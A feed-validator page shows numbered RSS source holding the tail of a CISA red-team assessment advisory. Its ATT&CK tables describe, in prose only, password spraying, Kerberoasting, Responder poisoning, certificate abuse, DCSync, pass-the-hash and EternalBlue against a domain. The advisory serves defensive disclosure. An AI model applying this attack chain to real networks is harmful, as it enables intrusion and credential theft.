  7106. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/p&gt;
  7107. &lt;/td&gt;
  7108. &lt;td&gt;
  7109. &lt;p&gt;The CISA team attempted to access various web interfaces with default administrator credentials.&lt;/p&gt;
  7110. &lt;/td&gt;
  7111. &lt;/tr&gt;
  7112. &lt;/tbody&gt;
  7113. &lt;/table&gt;
  7114. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7115. &lt;caption&gt;&lt;em&gt;Table 9: CISA Team ATT&amp;amp;CK Techniques for Execution&lt;/em&gt;&lt;/caption&gt;
  7116. &lt;thead&gt;
  7117. &lt;tr&gt;
  7118. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7119. &lt;p&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/p&gt;
  7120. &lt;/th&gt;
  7121. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7122. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7123. &lt;/tr&gt;
  7124. &lt;/thead&gt;
  7125. &lt;tbody&gt;
  7126. &lt;tr&gt;
  7127. &lt;th role="columnheader"&gt;
  7128. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7129. &lt;/th&gt;
  7130. &lt;th role="columnheader"&gt;
  7131. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7132. &lt;/th&gt;
  7133. &lt;th role="columnheader"&gt;
  7134. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7135. &lt;/th&gt;
  7136. &lt;/tr&gt;
  7137. &lt;tr&gt;
  7138. &lt;td&gt;
  7139. &lt;p&gt;Command-Line Interface&lt;/p&gt;
  7140. &lt;/td&gt;
  7141. &lt;td&gt;
  7142. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/" title="Command-Line Interface"&gt;T1059&lt;/a&gt;&lt;/p&gt;
  7143. &lt;/td&gt;
  7144. &lt;td&gt;
  7145. &lt;p&gt;The CISA team accessed a virtual machine interface enabling them to modify, power off, and/or delete critical virtual machines including domain controllers, file servers, and servers.&lt;/p&gt;
  7146. &lt;/td&gt;
  7147. &lt;/tr&gt;
  7148. &lt;tr&gt;
  7149. &lt;td&gt;
  7150. &lt;p&gt;Command and Scripting Interpreter: Windows Command Shell&lt;/p&gt;
  7151. &lt;/td&gt;
  7152. &lt;td&gt;
  7153. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/003/" title="Command and Scripting Interpreter: Windows Command Shell"&gt;T1059.003&lt;/a&gt;&lt;/p&gt;
  7154. &lt;/td&gt;
  7155. &lt;td&gt;
  7156. &lt;p&gt;The CISA team used a webshell that allowed them to execute commands under the context of the local &lt;code&gt;SYSTEM&lt;/code&gt; account.&lt;/p&gt;
  7157. &lt;/td&gt;
  7158. &lt;/tr&gt;
  7159. &lt;/tbody&gt;
  7160. &lt;/table&gt;
  7161. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7162. &lt;caption&gt;&lt;em&gt;Table 10: CISA Team ATT&amp;amp;CK Techniques for Privilege Escalation&lt;/em&gt;&lt;/caption&gt;
  7163. &lt;thead&gt;
  7164. &lt;tr&gt;
  7165. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7166. &lt;p&gt;&lt;strong&gt;Privilege Escalation&lt;/strong&gt;&lt;/p&gt;
  7167. &lt;/th&gt;
  7168. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7169. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7170. &lt;/tr&gt;
  7171. &lt;/thead&gt;
  7172. &lt;tbody&gt;
  7173. &lt;tr&gt;
  7174. &lt;th role="columnheader"&gt;
  7175. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7176. &lt;/th&gt;
  7177. &lt;th role="columnheader"&gt;
  7178. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7179. &lt;/th&gt;
  7180. &lt;th role="columnheader"&gt;
  7181. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7182. &lt;/th&gt;
  7183. &lt;/tr&gt;
  7184. &lt;tr&gt;
  7185. &lt;td&gt;
  7186. &lt;p&gt;Valid Accounts: Domain Accounts&lt;/p&gt;
  7187. &lt;/td&gt;
  7188. &lt;td&gt;
  7189. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;&lt;/p&gt;
  7190. &lt;/td&gt;
  7191. &lt;td&gt;
  7192. &lt;p&gt;The CISA team used CrackMapExec to use ACCOUNT 1 to successfully connect to a domain controller (DC).&lt;/p&gt;
  7193. &lt;/td&gt;
  7194. &lt;/tr&gt;
  7195. &lt;/tbody&gt;
  7196. &lt;/table&gt;
  7197. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7198. &lt;caption&gt;&lt;em&gt;Table 11: CISA Team ATT&amp;amp;CK Techniques for Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  7199. &lt;thead&gt;
  7200. &lt;tr&gt;
  7201. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7202. &lt;p&gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&lt;/p&gt;
  7203. &lt;/th&gt;
  7204. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7205. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7206. &lt;/tr&gt;
  7207. &lt;/thead&gt;
  7208. &lt;tbody&gt;
  7209. &lt;tr&gt;
  7210. &lt;th role="columnheader"&gt;
  7211. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7212. &lt;/th&gt;
  7213. &lt;th role="columnheader"&gt;
  7214. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7215. &lt;/th&gt;
  7216. &lt;th role="columnheader"&gt;
  7217. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7218. &lt;/th&gt;
  7219. &lt;/tr&gt;
  7220. &lt;tr&gt;
  7221. &lt;td&gt;
  7222. &lt;p&gt;Use Alternate Authentication Material&lt;/p&gt;
  7223. &lt;/td&gt;
  7224. &lt;td&gt;
  7225. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/" title="Use Alternate Authentication Material"&gt;T1550&lt;/a&gt;&lt;/p&gt;
  7226. &lt;/td&gt;
  7227. &lt;td&gt;
  7228. &lt;p&gt;The CISA team authenticated to the domain controller as ACCOUNT 3 with the generated certificate.&lt;/p&gt;
  7229. &lt;/td&gt;
  7230. &lt;/tr&gt;
  7231. &lt;/tbody&gt;
  7232. &lt;/table&gt;
  7233. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7234. &lt;caption&gt;&lt;em&gt;Table 12: CISA Team ATT&amp;amp;CK Techniques for Credential Access&lt;/em&gt;&lt;/caption&gt;
  7235. &lt;thead&gt;
  7236. &lt;tr&gt;
  7237. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7238. &lt;p&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/p&gt;
  7239. &lt;/th&gt;
  7240. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7241. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7242. &lt;/tr&gt;
  7243. &lt;/thead&gt;
  7244. &lt;tbody&gt;
  7245. &lt;tr&gt;
  7246. &lt;th role="columnheader"&gt;
  7247. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7248. &lt;/th&gt;
  7249. &lt;th role="columnheader"&gt;
  7250. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7251. &lt;/th&gt;
  7252. &lt;th role="columnheader"&gt;
  7253. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7254. &lt;/th&gt;
  7255. &lt;/tr&gt;
  7256. &lt;tr&gt;
  7257. &lt;td&gt;
  7258. &lt;p&gt;LLMNR/NBT-NS Poisoning and Relay&lt;/p&gt;
  7259. &lt;/td&gt;
  7260. &lt;td&gt;
  7261. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/001/" title="Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"&gt;T1557.001&lt;/a&gt;&lt;/p&gt;
  7262. &lt;/td&gt;
  7263. &lt;td&gt;
  7264. &lt;p&gt;The CISA team initiated a LLMNR/NBT-NS/mDNS/DHCP poisoning tool to spoof a connection to the organization’s server for forced access.&lt;/p&gt;
  7265. &lt;/td&gt;
  7266. &lt;/tr&gt;
  7267. &lt;tr&gt;
  7268. &lt;td&gt;
  7269. &lt;p&gt;Brute Force: Password Cracking&lt;/p&gt;
  7270. &lt;/td&gt;
  7271. &lt;td&gt;
  7272. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/002/" title="Brute Force: Password Cracking"&gt;T1110.002&lt;/a&gt;&lt;/p&gt;
  7273. &lt;/td&gt;
  7274. &lt;td&gt;
  7275. &lt;p&gt;The CISA team cracked a service account with a weak password, giving them access to it.&lt;/p&gt;
  7276. &lt;/td&gt;
  7277. &lt;/tr&gt;
  7278. &lt;tr&gt;
  7279. &lt;td&gt;
  7280. &lt;p&gt;Steal or Forge Kerberos Tickets: Kerberoasting&lt;/p&gt;
  7281. &lt;/td&gt;
  7282. &lt;td&gt;
  7283. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/003/" title="Steal or Forge Kerberos Tickets: Kerberoasting"&gt;T1558.003&lt;/a&gt;&lt;/p&gt;
  7284. &lt;/td&gt;
  7285. &lt;td&gt;
  7286. &lt;p&gt;The CISA team gained access to domain accounts because any domain user can request a TGS ticket for domain accounts.&lt;/p&gt;
  7287. &lt;/td&gt;
  7288. &lt;/tr&gt;
  7289. &lt;tr&gt;
  7290. &lt;td&gt;
  7291. &lt;p&gt;Adversary-in-the-Middle&lt;/p&gt;
  7292. &lt;/td&gt;
  7293. &lt;td&gt;
  7294. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1557/001/" title="Adversary-in-the-Middle"&gt;T1557&lt;/a&gt;&lt;/p&gt;
  7295. &lt;/td&gt;
  7296. &lt;td&gt;
  7297. &lt;p&gt;The CISA team modified the “Save as file” configuration, to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and changed the Server Name and Network Path to point to a CISA-controlled machine running Responder.&lt;/p&gt;
  7298. &lt;/td&gt;
  7299. &lt;/tr&gt;
  7300. &lt;tr&gt;
  7301. &lt;td&gt;
  7302. &lt;p&gt;Forced Authentication&lt;/p&gt;
  7303. &lt;/td&gt;
  7304. &lt;td&gt;
  7305. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1187/" title="Forced Authentication"&gt;T1187&lt;/a&gt;&lt;/p&gt;
  7306. &lt;/td&gt;
  7307. &lt;td&gt;
  7308. &lt;p&gt;The CISA team executed a “Connection Test” that sent the username and password over FTP.&lt;/p&gt;
  7309. &lt;/td&gt;
  7310. &lt;/tr&gt;
  7311. &lt;tr&gt;
  7312. &lt;td&gt;
  7313. &lt;p&gt;Steal or Forge Authentication Certificates&lt;/p&gt;
  7314. &lt;/td&gt;
  7315. &lt;td&gt;
  7316. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1649/" title="Steal or Forge Authentication Certificates"&gt;T1649&lt;/a&gt;&lt;/p&gt;
  7317. &lt;/td&gt;
  7318. &lt;td&gt;
  7319. &lt;p&gt;The CISA team used &lt;code&gt;Certipy&lt;/code&gt; to enumerate the ADCS certificate template vulnerabilities, allowing them to obtain certificates for different users.&lt;/p&gt;
  7320. &lt;/td&gt;
  7321. &lt;/tr&gt;
  7322. &lt;tr&gt;
  7323. &lt;td&gt;
  7324. &lt;p&gt;OS Credential Dumping&lt;/p&gt;
  7325. &lt;/td&gt;
  7326. &lt;td&gt;
  7327. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;&lt;/p&gt;
  7328. &lt;/td&gt;
  7329. &lt;td&gt;
  7330. &lt;p&gt;The CISA team retrieved the NTLM hash for ACCOUNT 3.&lt;/p&gt;
  7331. &lt;/td&gt;
  7332. &lt;/tr&gt;
  7333. &lt;tr&gt;
  7334. &lt;td&gt;
  7335. &lt;p&gt;Use Alternate Authentication Material: Pass the Hash&lt;/p&gt;
  7336. &lt;/td&gt;
  7337. &lt;td&gt;
  7338. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/002/" title="Use Alternate Authentication Material: Pass the Hash"&gt;T1550.002&lt;/a&gt;&lt;/p&gt;
  7339. &lt;/td&gt;
  7340. &lt;td&gt;
  7341. &lt;p&gt;The CISA team used the hash to authenticate to the domain controller and validated Domain Administrator privileges, demonstrating compromise of the domain.&lt;/p&gt;
  7342. &lt;/td&gt;
  7343. &lt;/tr&gt;
  7344. &lt;tr&gt;
  7345. &lt;td&gt;
  7346. &lt;p&gt;Brute Force: Password Spraying&lt;/p&gt;
  7347. &lt;/td&gt;
  7348. &lt;td&gt;
  7349. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1110/003" title="Brute Force: Password Spraying"&gt;T1110.003&lt;/a&gt;&lt;/p&gt;
  7350. &lt;/td&gt;
  7351. &lt;td&gt;
  7352. &lt;p&gt;The CISA team used a tool called &lt;code&gt;CrackMapExec&lt;/code&gt; to spray easily guessable passwords across all domain accounts, giving them two sets of valid credentials.&lt;/p&gt;
  7353. &lt;/td&gt;
  7354. &lt;/tr&gt;
  7355. &lt;tr&gt;
  7356. &lt;td&gt;
  7357. &lt;p&gt;Steal or Forge Kerberos Tickets&lt;/p&gt;
  7358. &lt;/td&gt;
  7359. &lt;td&gt;
  7360. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1558/003/" title="Steal or Forge Kerberos Tickets"&gt;T1558&lt;/a&gt;&lt;/p&gt;
  7361. &lt;/td&gt;
  7362. &lt;td&gt;
  7363. &lt;p&gt;The CISA team used this certificate to acquire a TGT for ACCOUNT 5.&lt;/p&gt;
  7364. &lt;/td&gt;
  7365. &lt;/tr&gt;
  7366. &lt;tr&gt;
  7367. &lt;td&gt;
  7368. &lt;p&gt;OS Credential Dumping: DCSync&lt;/p&gt;
  7369. &lt;/td&gt;
  7370. &lt;td&gt;
  7371. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/006" title="OS Credential Dumping: DCSync"&gt;T1003.006&lt;/a&gt;&lt;/p&gt;
  7372. &lt;/td&gt;
  7373. &lt;td&gt;
  7374. &lt;p&gt;The CISA team used &lt;code&gt;DCSync&lt;/code&gt; to dump the NTLM hash for ACCOUNT 3 (a Domain Administrator account), effectively leading to domain compromise.&lt;/p&gt;
  7375. &lt;/td&gt;
  7376. &lt;/tr&gt;
  7377. &lt;tr&gt;
  7378. &lt;td&gt;
  7379. &lt;p&gt;OS Credential Dumping: Security Account Manager&lt;/p&gt;
  7380. &lt;/td&gt;
  7381. &lt;td&gt;
  7382. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/002/" title="OS Credential Dumping: Security Account Manager"&gt;T1003.002&lt;/a&gt;&lt;/p&gt;
  7383. &lt;/td&gt;
  7384. &lt;td&gt;
  7385. &lt;p&gt;The CISA team dumped password hashes from a Security Account Manager (SAM) database.&lt;/p&gt;
  7386. &lt;/td&gt;
  7387. &lt;/tr&gt;
  7388. &lt;/tbody&gt;
  7389. &lt;/table&gt;
  7390. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7391. &lt;caption&gt;&lt;em&gt;Table 13: CISA Team ATT&amp;amp;CK Techniques for Discovery&lt;/em&gt;&lt;/caption&gt;
  7392. &lt;thead&gt;
  7393. &lt;tr&gt;
  7394. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7395. &lt;p&gt;&lt;strong&gt;Discovery&lt;/strong&gt;&lt;/p&gt;
  7396. &lt;/th&gt;
  7397. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7398. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7399. &lt;/tr&gt;
  7400. &lt;/thead&gt;
  7401. &lt;tbody&gt;
  7402. &lt;tr&gt;
  7403. &lt;th role="columnheader"&gt;
  7404. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7405. &lt;/th&gt;
  7406. &lt;th role="columnheader"&gt;
  7407. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7408. &lt;/th&gt;
  7409. &lt;th role="columnheader"&gt;
  7410. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7411. &lt;/th&gt;
  7412. &lt;/tr&gt;
  7413. &lt;tr&gt;
  7414. &lt;td&gt;
  7415. &lt;p&gt;Network Sniffing&lt;/p&gt;
  7416. &lt;/td&gt;
  7417. &lt;td&gt;
  7418. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1040/" title="Network Sniffing"&gt;T1040&lt;/a&gt;&lt;/p&gt;
  7419. &lt;/td&gt;
  7420. &lt;td&gt;
  7421. &lt;p&gt;The CISA team spoofed a response to direct the victim host to a CISA-controlled machine on which Responder is running.&amp;nbsp;&lt;/p&gt;
  7422. &lt;/td&gt;
  7423. &lt;/tr&gt;
  7424. &lt;tr&gt;
  7425. &lt;td&gt;
  7426. &lt;p&gt;Account Discovery: Domain Account&lt;/p&gt;
  7427. &lt;/td&gt;
  7428. &lt;td&gt;
  7429. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Account Discovery: Domain Account"&gt;T1087.002&lt;/a&gt;&lt;/p&gt;
  7430. &lt;/td&gt;
  7431. &lt;td&gt;
  7432. &lt;p&gt;The CISA team enumerated accounts with a Service Principal Name (SPN) set with their domain access.&lt;/p&gt;
  7433. &lt;/td&gt;
  7434. &lt;/tr&gt;
  7435. &lt;tr&gt;
  7436. &lt;td&gt;
  7437. &lt;p&gt;Network Service Scanning&lt;/p&gt;
  7438. &lt;/td&gt;
  7439. &lt;td&gt;
  7440. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Scanning"&gt;T1046&lt;/a&gt;&lt;/p&gt;
  7441. &lt;/td&gt;
  7442. &lt;td&gt;
  7443. &lt;p&gt;The CISA team canned the organization’s network to identify open web ports to see where they could leverage the default credentials they had.&lt;/p&gt;
  7444. &lt;/td&gt;
  7445. &lt;/tr&gt;
  7446. &lt;/tbody&gt;
  7447. &lt;/table&gt;
  7448. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7449. &lt;caption&gt;&lt;em&gt;Table 14: CISA Team ATT&amp;amp;CK Techniques for Lateral Movement&lt;/em&gt;&lt;/caption&gt;
  7450. &lt;thead&gt;
  7451. &lt;tr&gt;
  7452. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7453. &lt;p&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;&lt;/p&gt;
  7454. &lt;/th&gt;
  7455. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7456. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7457. &lt;/tr&gt;
  7458. &lt;/thead&gt;
  7459. &lt;tbody&gt;
  7460. &lt;tr&gt;
  7461. &lt;th role="columnheader"&gt;
  7462. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7463. &lt;/th&gt;
  7464. &lt;th role="columnheader"&gt;
  7465. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7466. &lt;/th&gt;
  7467. &lt;th role="columnheader"&gt;
  7468. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7469. &lt;/th&gt;
  7470. &lt;/tr&gt;
  7471. &lt;tr&gt;
  7472. &lt;td&gt;
  7473. &lt;p&gt;Remote Services&lt;/p&gt;
  7474. &lt;/td&gt;
  7475. &lt;td&gt;
  7476. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/" title="Remote Services"&gt;T1021&lt;/a&gt;&lt;/p&gt;
  7477. &lt;/td&gt;
  7478. &lt;td&gt;
  7479. &lt;p&gt;The CISA team exploited its Responder to perform malicious functions, such as stealing credentials or opening a session on a targeted host.&lt;/p&gt;
  7480. &lt;/td&gt;
  7481. &lt;/tr&gt;
  7482. &lt;tr&gt;
  7483. &lt;td&gt;
  7484. &lt;p&gt;&amp;nbsp;SMB/Windows Admin Shares&lt;/p&gt;
  7485. &lt;/td&gt;
  7486. &lt;td&gt;
  7487. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/002/" title="&amp;nbsp;SMB/Windows Admin Shares"&gt;T1021.002&lt;/a&gt;&lt;/p&gt;
  7488. &lt;/td&gt;
  7489. &lt;td&gt;
  7490. &lt;p&gt;The CISA team confirmed they compromised the domain because ACCOUNT 1 had &lt;code&gt;READ,WRITE&lt;/code&gt; permissions over the &lt;code&gt;C$&lt;/code&gt; administrative share.&lt;/p&gt;
  7491. &lt;/td&gt;
  7492. &lt;/tr&gt;
  7493. &lt;tr&gt;
  7494. &lt;td&gt;
  7495. &lt;p&gt;Taint Shared Content&lt;/p&gt;
  7496. &lt;/td&gt;
  7497. &lt;td&gt;
  7498. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1080/" title="Taint Shared Content"&gt;T1080&lt;/a&gt;&lt;/p&gt;
  7499. &lt;/td&gt;
  7500. &lt;td&gt;
  7501. &lt;p&gt;The CISA team found the device was configured with domain credentials to allow employees to save scanned documents to a network share.&lt;/p&gt;
  7502. &lt;/td&gt;
  7503. &lt;/tr&gt;
  7504. &lt;tr&gt;
  7505. &lt;td&gt;
  7506. &lt;p&gt;Exploitation of Remote Services&lt;/p&gt;
  7507. &lt;/td&gt;
  7508. &lt;td&gt;
  7509. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1210/" title="Exploitation of Remote Services"&gt;T1210&lt;/a&gt;&lt;/p&gt;
  7510. &lt;/td&gt;
  7511. &lt;td&gt;
  7512. &lt;p&gt;The CISA team then executed a well-known EternalBlue exploit and established a shell on the server.&lt;/p&gt;
  7513. &lt;/td&gt;
  7514. &lt;/tr&gt;
  7515. &lt;/tbody&gt;
  7516. &lt;/table&gt;
  7517. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7518. &lt;caption&gt;&lt;em&gt;Table 15: CISA Team ATT&amp;amp;CK Techniques for Collection&lt;/em&gt;&lt;/caption&gt;
  7519. &lt;thead&gt;
  7520. &lt;tr&gt;
  7521. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7522. &lt;p&gt;&lt;strong&gt;Collection&lt;/strong&gt;&lt;/p&gt;
  7523. &lt;/th&gt;
  7524. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7525. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7526. &lt;/tr&gt;
  7527. &lt;/thead&gt;
  7528. &lt;tbody&gt;
  7529. &lt;tr&gt;
  7530. &lt;th role="columnheader"&gt;
  7531. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7532. &lt;/th&gt;
  7533. &lt;th role="columnheader"&gt;
  7534. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7535. &lt;/th&gt;
  7536. &lt;th role="columnheader"&gt;
  7537. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7538. &lt;/th&gt;
  7539. &lt;/tr&gt;
  7540. &lt;tr&gt;
  7541. &lt;td&gt;
  7542. &lt;p&gt;Data from Network Shared Drive&lt;/p&gt;
  7543. &lt;/td&gt;
  7544. &lt;td&gt;
  7545. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1039/" title="Data from Network Shared Drive"&gt;T1039&lt;/a&gt;&lt;/p&gt;
  7546. &lt;/td&gt;
  7547. &lt;td&gt;
  7548. &lt;p&gt;The CISA team obtained credentials for cleartext, hashes, and from files.&lt;/p&gt;
  7549. &lt;/td&gt;
  7550. &lt;/tr&gt;
  7551. &lt;/tbody&gt;
  7552. &lt;/table&gt;
  7553. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  7554. &lt;caption&gt;&lt;em&gt;Table 16: CISA Team ATT&amp;amp;CK Techniques for Impact&lt;/em&gt;&lt;/caption&gt;
  7555. &lt;thead&gt;
  7556. &lt;tr&gt;
  7557. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;
  7558. &lt;p&gt;&lt;strong&gt;Collection&lt;/strong&gt;&lt;/p&gt;
  7559. &lt;/th&gt;
  7560. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7561. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  7562. &lt;/tr&gt;
  7563. &lt;/thead&gt;
  7564. &lt;tbody&gt;
  7565. &lt;tr&gt;
  7566. &lt;th role="columnheader"&gt;
  7567. &lt;p&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/p&gt;
  7568. &lt;/th&gt;
  7569. &lt;th role="columnheader"&gt;
  7570. &lt;p&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/p&gt;
  7571. &lt;/th&gt;
  7572. &lt;th role="columnheader"&gt;
  7573. &lt;p&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/p&gt;
  7574. &lt;/th&gt;
  7575. &lt;/tr&gt;
  7576. &lt;tr&gt;
  7577. &lt;td&gt;
  7578. &lt;p&gt;System Shutdown/Reboot&lt;/p&gt;
  7579. &lt;/td&gt;
  7580. &lt;td&gt;
  7581. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1529/" title="System Shutdown/Reboot"&gt;T1529&lt;/a&gt;&lt;/p&gt;
  7582. &lt;/td&gt;
  7583. &lt;td&gt;
  7584. &lt;p&gt;The CISA team assessed that with ACCOUNT 1, they could use it to modify, power off, and/or delete critical virtual machines, including domain controllers and file servers.&lt;/p&gt;
  7585. &lt;/td&gt;
  7586. &lt;/tr&gt;
  7587. &lt;/tbody&gt;
  7588. &lt;/table&gt;
  7589. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  7590. &lt;p&gt;December 14, 2023: Initial version.&lt;/p&gt;
  7591. </description>
  7592.  <pubDate>Wed, 13 Dec 2023 19:24:48 EST</pubDate>
  7593.    <dc:creator>CISA</dc:creator>
  7594.    <guid isPermaLink="false">/node/20506</guid>
  7595.    </item>
  7596.  
  7597.  </channel>
  7598. </rss>
  7599.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=http%3A//www.us-cert.gov/ncas/alerts.xml

Home · About · News · Docs · Terms

 
Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda